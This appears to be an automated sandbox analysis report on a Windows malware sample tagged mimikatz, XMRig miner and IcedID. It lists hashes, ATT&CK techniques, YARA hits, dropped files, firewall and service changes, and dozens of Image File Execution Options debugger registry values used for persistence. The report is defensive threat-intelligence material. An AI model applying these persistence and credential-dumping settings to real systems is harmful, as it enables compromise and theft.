mimikatz | a0b78c1b935ebc21f28f450a7cdf349f34c4e918dc9badf91c9980918c657edc

Resubmissions

09/01/2025, 07:08

250109-hyg9ssvndl 10

09/01/2025, 06:26

250109-g7l4ns1qew 10

08/01/2025, 07:49

250108-jn6p3ssrak 10

Analysis

max time kernel
150s
max time network
152s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
08/01/2025, 07:49

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

2025-01-08_67185fa9999bd87584927cab134afe81_hacktools_icedid_mimikatz.exe
Size

8.7MB
MD5

67185fa9999bd87584927cab134afe81
SHA1

822702b6113ae7862351b0af1bf0322ef005b6cc
SHA256

a0b78c1b935ebc21f28f450a7cdf349f34c4e918dc9badf91c9980918c657edc
SHA512

a8472dd8c19cae2cf0225d51e0e8666d732208a29dc84f4a05201dba737d8e8aa07fb75003a6507e6c1923d6f420af5e77b8e2d75a2d81936a29fabffc18fea3
SSDEEP

196608:ylTPemknGzwHdOgEPHd9BYX/nivPlTXTYP:a3jz0E52/iv1

Score

10^/10

mimikatz xmrig credential_access discovery evasion execution miner persistence privilege_escalation upx

Malware Config

Signatures

Disables service(s) 3 TTPs
evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002
Mimikatz
mimikatz is an open source tool to dump credentials on Windows.
mimikatz
Mimikatz family
mimikatz

Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs

description	pid	Process	procid_target
PID 1688 created 2084	1688	jirnzjt.exe	38

Xmrig family
xmrig
xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig
Contacts a large (30143) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
OS Credential Dumping: LSASS Memory 1 TTPs
Malicious access to Credentials History.
credential_access

LSASS Memory
T1003.001

XMRig Miner payload 12 IoCs

miner

resource	yara_rule
behavioral2/memory/4684-178-0x00007FF772830000-0x00007FF772950000-memory.dmp	xmrig
behavioral2/memory/4684-182-0x00007FF772830000-0x00007FF772950000-memory.dmp	xmrig
behavioral2/memory/4684-199-0x00007FF772830000-0x00007FF772950000-memory.dmp	xmrig
behavioral2/memory/4684-213-0x00007FF772830000-0x00007FF772950000-memory.dmp	xmrig
behavioral2/memory/4684-225-0x00007FF772830000-0x00007FF772950000-memory.dmp	xmrig
behavioral2/memory/4684-232-0x00007FF772830000-0x00007FF772950000-memory.dmp	xmrig
behavioral2/memory/4684-247-0x00007FF772830000-0x00007FF772950000-memory.dmp	xmrig
behavioral2/memory/4684-497-0x00007FF772830000-0x00007FF772950000-memory.dmp	xmrig
behavioral2/memory/4684-498-0x00007FF772830000-0x00007FF772950000-memory.dmp	xmrig
behavioral2/memory/4684-523-0x00007FF772830000-0x00007FF772950000-memory.dmp	xmrig
behavioral2/memory/4684-778-0x00007FF772830000-0x00007FF772950000-memory.dmp	xmrig
behavioral2/memory/4684-779-0x00007FF772830000-0x00007FF772950000-memory.dmp	xmrig

mimikatz is an open source tool to dump credentials on Windows 5 IoCs

resource	yara_rule
behavioral2/memory/3932-0-0x0000000000400000-0x0000000000A9B000-memory.dmp	mimikatz
behavioral2/memory/3932-4-0x0000000000400000-0x0000000000A9B000-memory.dmp	mimikatz
behavioral2/files/0x000a000000023b9b-6.dat	mimikatz
behavioral2/memory/2944-8-0x0000000000400000-0x0000000000A9B000-memory.dmp	mimikatz
behavioral2/memory/4152-138-0x00007FF7CFC30000-0x00007FF7CFD1E000-memory.dmp	mimikatz

Drops file in Drivers directory 3 IoCs

description	ioc	Process
File created	C:\Windows\system32\drivers\npf.sys	wpcap.exe
File created	C:\Windows\system32\drivers\etc\hosts	jirnzjt.exe
File opened for modification	C:\Windows\system32\drivers\etc\hosts	jirnzjt.exe

Event Triggered Execution: Image File Execution Options Injection 1 TTPs 40 IoCs

persistence

Image File Execution Options Injection

T1546.012

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mshta.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	jirnzjt.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WinSAT.exe	jirnzjt.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\icacls.exe	jirnzjt.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe	jirnzjt.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\perfmon.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	jirnzjt.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bitsadmin.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	jirnzjt.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mshta.exe	jirnzjt.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WmiPrvSE.exe	jirnzjt.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\at.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	jirnzjt.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wscript.exe	jirnzjt.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	jirnzjt.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\at.exe	jirnzjt.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\netsh.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	jirnzjt.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\takeown.exe	jirnzjt.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bitsadmin.exe	jirnzjt.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskkill.exe	jirnzjt.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WinSAT.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	jirnzjt.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\icacls.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	jirnzjt.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	jirnzjt.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\certutil.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	jirnzjt.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\perfmon.exe	jirnzjt.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\netsh.exe	jirnzjt.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\reg.exe	jirnzjt.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wscript.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	jirnzjt.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe	jirnzjt.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rundll32.exe	jirnzjt.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\takeown.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	jirnzjt.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Regsvr32.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	jirnzjt.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cscript.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	jirnzjt.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rundll32.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	jirnzjt.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WmiPrvSE.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	jirnzjt.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regini.exe	jirnzjt.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regini.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	jirnzjt.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\powershell.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	jirnzjt.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Regsvr32.exe	jirnzjt.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cscript.exe	jirnzjt.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskkill.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	jirnzjt.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\reg.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	jirnzjt.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\powershell.exe	jirnzjt.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\certutil.exe	jirnzjt.exe

Modifies Windows Firewall 2 TTPs 2 IoCs

evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
2912	netsh.exe
1920	netsh.exe

Executes dropped EXE 28 IoCs

pid	Process
2944	jirnzjt.exe
1688	jirnzjt.exe
912	wpcap.exe
112	llefvytvt.exe
4152	vfshost.exe
3100	vrlgkrtsk.exe
3656	xohudmc.exe
5012	skwigk.exe
4684	jngiyk.exe
4008	vrlgkrtsk.exe
4304	vrlgkrtsk.exe
4424	vrlgkrtsk.exe
1280	vrlgkrtsk.exe
3516	vrlgkrtsk.exe
5068	vrlgkrtsk.exe
3600	vrlgkrtsk.exe
3968	vrlgkrtsk.exe
3720	vrlgkrtsk.exe
2448	vrlgkrtsk.exe
2020	jirnzjt.exe
2248	vrlgkrtsk.exe
872	vrlgkrtsk.exe
1076	vrlgkrtsk.exe
4304	vrlgkrtsk.exe
2920	vrlgkrtsk.exe
3588	vrlgkrtsk.exe
436	lsivtqwuf.exe
5680	jirnzjt.exe

Loads dropped DLL 12 IoCs

pid	Process
912	wpcap.exe
912	wpcap.exe
912	wpcap.exe
912	wpcap.exe
912	wpcap.exe
912	wpcap.exe
912	wpcap.exe
912	wpcap.exe
912	wpcap.exe
112	llefvytvt.exe
112	llefvytvt.exe
112	llefvytvt.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
62	ifconfig.me
63	ifconfig.me

Network Share Discovery 1 TTPs
Attempt to gather information on host network.
discovery

Network Share Discovery
T1135
Creates a Windows Service
persistence

Drops file in System32 directory 18 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\103621DE9CD5414CC2538780B4B75751	jirnzjt.exe
File created	C:\Windows\SysWOW64\wpcap.dll	wpcap.exe
File created	C:\Windows\SysWOW64\Packet.dll	wpcap.exe
File created	C:\Windows\system32\Packet.dll	wpcap.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\Content.IE5	jirnzjt.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCookies	jirnzjt.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData	jirnzjt.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache	jirnzjt.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\EC98FD874C34E9667158FBB7DEFBD82F	jirnzjt.exe
File created	C:\Windows\SysWOW64\pthreadVC.dll	wpcap.exe
File created	C:\Windows\system32\wpcap.dll	wpcap.exe
File created	C:\Windows\SysWOW64\skwigk.exe	xohudmc.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE	jirnzjt.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft	jirnzjt.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\EC98FD874C34E9667158FBB7DEFBD82F	jirnzjt.exe
File opened for modification	C:\Windows\SysWOW64\skwigk.exe	xohudmc.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751	jirnzjt.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content	jirnzjt.exe

UPX packed file 36 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x0007000000023c85-134.dat	upx
behavioral2/memory/4152-136-0x00007FF7CFC30000-0x00007FF7CFD1E000-memory.dmp	upx
behavioral2/memory/4152-138-0x00007FF7CFC30000-0x00007FF7CFD1E000-memory.dmp	upx
behavioral2/files/0x0007000000023c90-141.dat	upx
behavioral2/memory/3100-142-0x00007FF772600000-0x00007FF77265B000-memory.dmp	upx
behavioral2/memory/3100-146-0x00007FF772600000-0x00007FF77265B000-memory.dmp	upx
behavioral2/files/0x0007000000023c8d-163.dat	upx
behavioral2/memory/4684-164-0x00007FF772830000-0x00007FF772950000-memory.dmp	upx
behavioral2/memory/4008-171-0x00007FF772600000-0x00007FF77265B000-memory.dmp	upx
behavioral2/memory/4304-175-0x00007FF772600000-0x00007FF77265B000-memory.dmp	upx
behavioral2/memory/4684-178-0x00007FF772830000-0x00007FF772950000-memory.dmp	upx
behavioral2/memory/4424-180-0x00007FF772600000-0x00007FF77265B000-memory.dmp	upx
behavioral2/memory/4684-182-0x00007FF772830000-0x00007FF772950000-memory.dmp	upx
behavioral2/memory/1280-185-0x00007FF772600000-0x00007FF77265B000-memory.dmp	upx
behavioral2/memory/3516-189-0x00007FF772600000-0x00007FF77265B000-memory.dmp	upx
behavioral2/memory/5068-193-0x00007FF772600000-0x00007FF77265B000-memory.dmp	upx
behavioral2/memory/3600-197-0x00007FF772600000-0x00007FF77265B000-memory.dmp	upx
behavioral2/memory/4684-199-0x00007FF772830000-0x00007FF772950000-memory.dmp	upx
behavioral2/memory/3968-202-0x00007FF772600000-0x00007FF77265B000-memory.dmp	upx
behavioral2/memory/3720-206-0x00007FF772600000-0x00007FF77265B000-memory.dmp	upx
behavioral2/memory/4684-213-0x00007FF772830000-0x00007FF772950000-memory.dmp	upx
behavioral2/memory/2448-215-0x00007FF772600000-0x00007FF77265B000-memory.dmp	upx
behavioral2/memory/2248-219-0x00007FF772600000-0x00007FF77265B000-memory.dmp	upx
behavioral2/memory/872-223-0x00007FF772600000-0x00007FF77265B000-memory.dmp	upx
behavioral2/memory/4684-225-0x00007FF772830000-0x00007FF772950000-memory.dmp	upx
behavioral2/memory/1076-228-0x00007FF772600000-0x00007FF77265B000-memory.dmp	upx
behavioral2/memory/4304-231-0x00007FF772600000-0x00007FF77265B000-memory.dmp	upx
behavioral2/memory/4684-232-0x00007FF772830000-0x00007FF772950000-memory.dmp	upx
behavioral2/memory/2920-234-0x00007FF772600000-0x00007FF77265B000-memory.dmp	upx
behavioral2/memory/3588-236-0x00007FF772600000-0x00007FF77265B000-memory.dmp	upx
behavioral2/memory/4684-247-0x00007FF772830000-0x00007FF772950000-memory.dmp	upx
behavioral2/memory/4684-497-0x00007FF772830000-0x00007FF772950000-memory.dmp	upx
behavioral2/memory/4684-498-0x00007FF772830000-0x00007FF772950000-memory.dmp	upx
behavioral2/memory/4684-523-0x00007FF772830000-0x00007FF772950000-memory.dmp	upx
behavioral2/memory/4684-778-0x00007FF772830000-0x00007FF772950000-memory.dmp	upx
behavioral2/memory/4684-779-0x00007FF772830000-0x00007FF772950000-memory.dmp	upx

Drops file in Program Files directory 3 IoCs

description	ioc	Process
File created	C:\Program Files\WinPcap\rpcapd.exe	wpcap.exe
File created	C:\Program Files\WinPcap\LICENSE	wpcap.exe
File created	C:\Program Files\WinPcap\uninstall.exe	wpcap.exe

Drops file in Windows directory 60 IoCs

description	ioc	Process
File created	C:\Windows\mgifenbt\svschost.xml	jirnzjt.exe
File created	C:\Windows\mgifenbt\spoolsrv.xml	jirnzjt.exe
File created	C:\Windows\etqajulug\UnattendGC\AppCapture64.dll	jirnzjt.exe
File opened for modification	C:\Windows\etqajulug\ekithtuut\Packet.dll	jirnzjt.exe
File created	C:\Windows\etqajulug\UnattendGC\specials\posh-0.dll	jirnzjt.exe
File created	C:\Windows\etqajulug\UnattendGC\specials\trfo-2.dll	jirnzjt.exe
File opened for modification	C:\Windows\mgifenbt\docmicfg.xml	jirnzjt.exe
File created	C:\Windows\mgifenbt\jirnzjt.exe	2025-01-08_67185fa9999bd87584927cab134afe81_hacktools_icedid_mimikatz.exe
File created	C:\Windows\etqajulug\UnattendGC\specials\libeay32.dll	jirnzjt.exe
File opened for modification	C:\Windows\mgifenbt\svschost.xml	jirnzjt.exe
File created	C:\Windows\etqajulug\UnattendGC\specials\vimpcsvc.exe	jirnzjt.exe
File created	C:\Windows\etqajulug\UnattendGC\vimpcsvc.xml	jirnzjt.exe
File created	C:\Windows\etqajulug\UnattendGC\Shellcode.ini	jirnzjt.exe
File opened for modification	C:\Windows\etqajulug\Corporate\log.txt	cmd.exe
File created	C:\Windows\etqajulug\UnattendGC\specials\coli-0.dll	jirnzjt.exe
File created	C:\Windows\etqajulug\UnattendGC\specials\ssleay32.dll	jirnzjt.exe
File created	C:\Windows\etqajulug\UnattendGC\specials\tibe-2.dll	jirnzjt.exe
File created	C:\Windows\etqajulug\ekithtuut\scan.bat	jirnzjt.exe
File created	C:\Windows\etqajulug\UnattendGC\specials\spoolsrv.exe	jirnzjt.exe
File created	C:\Windows\mgifenbt\vimpcsvc.xml	jirnzjt.exe
File opened for modification	C:\Windows\mgifenbt\schoedcl.xml	jirnzjt.exe
File created	C:\Windows\etqajulug\ekithtuut\Packet.dll	jirnzjt.exe
File created	C:\Windows\etqajulug\UnattendGC\specials\crli-0.dll	jirnzjt.exe
File created	C:\Windows\etqajulug\Corporate\mimidrv.sys	jirnzjt.exe
File created	C:\Windows\etqajulug\UnattendGC\AppCapture32.dll	jirnzjt.exe
File opened for modification	C:\Windows\etqajulug\ekithtuut\Result.txt	lsivtqwuf.exe
File created	C:\Windows\etqajulug\UnattendGC\specials\trch-1.dll	jirnzjt.exe
File created	C:\Windows\etqajulug\UnattendGC\schoedcl.xml	jirnzjt.exe
File created	C:\Windows\etqajulug\UnattendGC\specials\svschost.xml	jirnzjt.exe
File created	C:\Windows\etqajulug\Corporate\mimilib.dll	jirnzjt.exe
File opened for modification	C:\Windows\mgifenbt\jirnzjt.exe	2025-01-08_67185fa9999bd87584927cab134afe81_hacktools_icedid_mimikatz.exe
File created	C:\Windows\etqajulug\UnattendGC\specials\schoedcl.exe	jirnzjt.exe
File created	C:\Windows\etqajulug\UnattendGC\docmicfg.xml	jirnzjt.exe
File created	C:\Windows\etqajulug\UnattendGC\specials\ucl.dll	jirnzjt.exe
File created	C:\Windows\ime\jirnzjt.exe	jirnzjt.exe
File created	C:\Windows\etqajulug\UnattendGC\specials\cnli-1.dll	jirnzjt.exe
File created	C:\Windows\etqajulug\UnattendGC\specials\exma-1.dll	jirnzjt.exe
File created	C:\Windows\etqajulug\UnattendGC\specials\tucl-1.dll	jirnzjt.exe
File created	C:\Windows\etqajulug\ekithtuut\lsivtqwuf.exe	jirnzjt.exe
File created	C:\Windows\etqajulug\UnattendGC\specials\svschost.exe	jirnzjt.exe
File created	C:\Windows\mgifenbt\schoedcl.xml	jirnzjt.exe
File created	C:\Windows\etqajulug\UnattendGC\specials\spoolsrv.xml	jirnzjt.exe
File created	C:\Windows\etqajulug\UnattendGC\specials\docmicfg.xml	jirnzjt.exe
File opened for modification	C:\Windows\mgifenbt\spoolsrv.xml	jirnzjt.exe
File created	C:\Windows\etqajulug\ekithtuut\wpcap.exe	jirnzjt.exe
File created	C:\Windows\etqajulug\ekithtuut\wpcap.dll	jirnzjt.exe
File created	C:\Windows\etqajulug\UnattendGC\specials\docmicfg.exe	jirnzjt.exe
File created	C:\Windows\etqajulug\ekithtuut\llefvytvt.exe	jirnzjt.exe
File created	C:\Windows\etqajulug\UnattendGC\specials\zlib1.dll	jirnzjt.exe
File created	C:\Windows\etqajulug\ekithtuut\ip.txt	jirnzjt.exe
File created	C:\Windows\etqajulug\UnattendGC\spoolsrv.xml	jirnzjt.exe
File created	C:\Windows\etqajulug\upbdrjv\swrpwe.exe	jirnzjt.exe
File created	C:\Windows\etqajulug\UnattendGC\specials\libxml2.dll	jirnzjt.exe
File created	C:\Windows\etqajulug\UnattendGC\specials\xdvl-0.dll	jirnzjt.exe
File opened for modification	C:\Windows\mgifenbt\vimpcsvc.xml	jirnzjt.exe
File created	C:\Windows\etqajulug\UnattendGC\specials\vimpcsvc.xml	jirnzjt.exe
File created	C:\Windows\etqajulug\Corporate\vfshost.exe	jirnzjt.exe
File created	C:\Windows\etqajulug\UnattendGC\svschost.xml	jirnzjt.exe
File created	C:\Windows\etqajulug\UnattendGC\specials\schoedcl.xml	jirnzjt.exe
File created	C:\Windows\mgifenbt\docmicfg.xml	jirnzjt.exe

Launches sc.exe 4 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
2380	sc.exe
860	sc.exe
3860	sc.exe
2312	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 51 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe

System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
